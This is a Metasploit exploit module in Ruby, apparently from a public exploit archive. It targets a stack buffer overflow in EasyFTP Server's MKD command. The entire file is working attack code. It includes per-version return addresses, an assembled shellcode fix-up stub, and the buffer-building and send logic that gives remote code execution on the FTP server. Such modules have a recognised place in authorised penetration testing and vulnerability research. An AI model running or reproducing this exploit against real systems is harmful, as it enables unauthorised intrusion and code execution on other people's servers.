EasyFTP Server 1.7.0.11 - 'MKD' Stack Buffer Overflow (Metasploit)

##
# $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
				and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which
				leads to a stack based buffer overflow.

				NOTE: EasyFTP allows anonymous access by default. However, in order to access the
				'MKD' command, you must have access to an account that can create directories.

				After version 1.7.0.12, this package was renamed "UplusFtp".

				This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
				This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
				'fixing' the return address post-exploitation.  See references for more information.
			},
			'Author'         =>
				[
					'x90c',   # original version
					'jduck'   # port to metasploit / modified to use fix-up stub (works with bigger payloads)
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9935 $',
			'References'     =>
				[
					[ 'OSVDB', '62134' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/12044/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/14399/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00\x0a\x0d\x2f\x5c",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal - v1.7.0.2',   { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.3',   { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.4',   { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.5',   { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.6',   { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.7',   { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.8',   { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.9',   { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.10',  { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe
					[ 'Windows Universal - v1.7.0.11',  { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe
				],
			'DisclosureDate' => 'Apr 04 2010',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /BigFoolCat/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def make_nops(num); "C" * num; end

	def exploit
		connect_login

		# NOTE:
		# This exploit jumps to ebp, which happens to point at a partial version of
		# the 'buf' string in memory. The fixRet below fixes up the code stored on the
		# stack and then jumps there to execute the payload. The value in esp is used
		# with an offset for the fixup.
		fixRet_asm = %q{
			mov edi,esp
			sub edi, 0xfffffe10
			mov [edi], 0xfeedfed5
			add edi, 0xffffff14
			jmp edi
		}
		fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

		buf = ''

		print_status("Prepending fixRet...")
		buf << fixRet
		buf << make_nops(0x20 - buf.length)

		print_status("Adding the payload...")
		buf << payload.encoded

		# Patch the original stack data into the fixer stub
		buf[10, 4] = buf[268, 4]

		print_status("Overwriting part of the payload with target address...")
		buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

		print_status("Sending exploit buffer...")
		send_cmd( ['MKD', buf] , false)

		handler
		disconnect
	end

end